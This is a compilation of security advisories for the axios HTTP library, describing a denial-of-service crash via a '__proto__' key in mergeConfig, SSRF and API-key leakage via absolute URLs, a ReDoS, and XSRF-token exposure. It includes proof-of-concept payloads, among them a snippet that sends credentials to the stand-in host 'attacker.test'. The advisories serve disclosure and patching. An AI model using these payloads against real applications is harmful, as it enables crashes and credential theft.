Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"__proto__": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Axios vulnerable to Server-Side Request Forgery

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

axios Inefficient Regular Expression Complexity vulnerability

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

1. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

1. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.